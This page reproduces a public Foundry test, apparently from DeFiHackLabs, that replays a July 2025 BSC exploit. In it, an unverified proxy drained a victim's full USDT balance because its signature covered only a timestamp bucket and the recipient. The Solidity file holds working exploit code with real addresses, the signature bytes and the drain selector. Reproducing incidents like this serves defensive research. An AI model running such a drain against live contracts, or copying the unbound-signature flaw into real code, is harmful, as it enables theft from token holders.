Public reproduction file
src/test/2025-07/unverified_8fd3_exp.sol
Public reproduction file for dataset entry unverified.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 502.42 USDT8// Attacker : 0x0BAD002980a744CA944f380B2007Ff9f6C31A4Ba9// Attack Contract : 0x90f21de8D1a25f6451ea5232C5B646a782Aa9cf010// Vulnerable Contract : 0x8Fd3d01Cc65eA0E4dFFFde7Ec8159Dc99a177f0A11// Attack Tx : https://bscscan.com/tx/0xf2eeaa87a049fb914dfe8c9f1a878fa9a3aab78688107844794dacd5ada9956312//13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x8Fd3d01Cc65eA0E4dFFFde7Ec8159Dc99a177f0A#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/150818//19// Attack summary: The attacker called the proxy with a victim, recipient, and signature; the unverified implementation20// read the victim's USDT balance and transferred that full balance to the attacker through the victim's proxy allowance.21// Root cause: The signature only authenticated a 5-minute timestamp bucket and recipient. It did not bind the victim,22// token, amount, caller, proxy, chain, or a nonce, so any approved victim could be drained to the signed recipient.24address constant ATTACKER = 0x0BAD002980a744CA944f380B2007Ff9f6C31A4Ba;25address constant ATTACK_CONTRACT = 0x90f21de8D1a25f6451ea5232C5B646a782Aa9cf0;26address constant VICTIM = 0x3F41A2d69375fB913DDfd333e5c5942e7D72F29e;27address constant ENTRY_STATE_PROXY = 0xE641fCaE9a9e72b7417854bd9ffD2bDce203106c;28address constant VULNERABLE_CONTRACT = 0x8Fd3d01Cc65eA0E4dFFFde7Ec8159Dc99a177f0A;29address constant AUTHORIZED_SIGNER = 0xCC213E64325AF4725fb2b26FA2d822926F487CfE;30IERC20 constant USDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955);32contract ContractTest is BaseTestWithBalanceLog {33 function setUp() public {34 uint256 forkBlock = 54_350_435;35 vm.createSelectFork("bsc", forkBlock);37 fundingToken = address(USDT_TOKEN);38 attacker = ATTACKER;40 vm.label(ATTACKER, "Attacker");41 vm.label(ATTACK_CONTRACT, "Trace Attack Contract");42 vm.label(VICTIM, "Victim");43 vm.label(ENTRY_STATE_PROXY, "Entry State Proxy");44 vm.label(VULNERABLE_CONTRACT, "Unverified Implementation");45 vm.label(address(USDT_TOKEN), "USDT");46 }48 function testExploit() public balanceLog {49 uint256 victimBalanceBefore = USDT_TOKEN.balanceOf(VICTIM);50 uint256 attackerBalanceBefore = USDT_TOKEN.balanceOf(ATTACKER);51 uint256 proxyAllowance = USDT_TOKEN.allowance(VICTIM, ENTRY_STATE_PROXY);53 assertGt(victimBalanceBefore, 500 ether, "victim should hold trace USDT balance");54 assertEq(attackerBalanceBefore, 0, "attacker starts with no USDT");55 assertGe(proxyAllowance, victimBalanceBefore, "victim allowance covered full balance");57 bytes memory signature =58 hex"16dd0346f9e72dd03f66eaea16dc301f9e5ee2387331518003fe1b2a76d544ab79acd7145f17ee446458c77ddc3379839f185bf3f028abd0959e818886c34e161c";59 bytes4 unverifiedDrainSelector = 0x97e76253;61 // The decompiled implementation verifies keccak256(abi.encodePacked(timeBucket, recipient)).62 // VICTIM and amount are not part of the signed message, but are still used in transferFrom below.63 uint256 fiveMinuteBucket = (block.timestamp / 300) * 300;64 bytes32 recipientOnlyDigest = keccak256(abi.encodePacked(fiveMinuteBucket, ATTACKER));65 assertEq(recoverSigner(recipientOnlyDigest, signature), AUTHORIZED_SIGNER, "recipient signature is valid");67 // step 1: deploy and use a local helper to mirror the short-lived initcode attack contract.68 vm.prank(ATTACKER);69 AttackHelper helper = new AttackHelper();70 vm.label(address(helper), "Local Attack Helper");72 // step 2: call the unverified proxy selector with the trace-decoded victim, recipient, and signature.73 vm.prank(ATTACKER);74 helper.execute(ENTRY_STATE_PROXY, unverifiedDrainSelector, VICTIM, ATTACKER, signature);76 // step 3: the proxy drained the victim's full USDT balance to the attacker.77 assertEq(USDT_TOKEN.balanceOf(VICTIM), 0, "victim USDT should be drained");78 assertEq(79 USDT_TOKEN.balanceOf(ATTACKER) - attackerBalanceBefore, victimBalanceBefore, "attacker received victim balance"80 );81 }83 function recoverSigner(bytes32 digest, bytes memory signature) internal pure returns (address) {84 require(signature.length == 65, "bad signature length");86 bytes32 r;87 bytes32 s;88 uint8 v;89 assembly {90 r := mload(add(signature, 32))91 s := mload(add(signature, 64))92 v := byte(0, mload(add(signature, 96)))93 }95 return ecrecover(digest, v, r, s);96 }97}99contract AttackHelper {100 function execute(address proxy, bytes4 selector, address victim, address recipient, bytes memory signature) external {101 (bool ok,) = proxy.call(abi.encodeWithSelector(selector, victim, recipient, signature));102 require(ok, "proxy call failed");103 }104}Analysis
Dataset entry
Public Foundry test for “unverified” (2025-07-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
- src/test/2026-03/unverified_237d_exp.solSame protocol or name in the dataset · 162 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0bad002980a744ca944f380b2007ff9f6c31a4ba
- Attack Contract
0x90f21de8d1a25f6451ea5232c5b646a782aa9cf0
- Vulnerable Contract
0x8fd3d01cc65ea0e4dfffde7ec8159dc99a177f0a
- Attack Tx
0xf2eeaa87a049fb914dfe8c9f1a878fa9a3aab78688107844794dacd5ada99563
File record
- Name
- unverified
- Path
- src/test/2025-07/unverified_8fd3_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e86a18889570c5432c5b31c1c22c0bec0166cd0b
- Language
- Solidity
- Size
- 105 lines
- Date
- 2025-07-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/unverified_8fd3_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e86a18889570c5432c5b31c1c22c0bec0166cd0b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.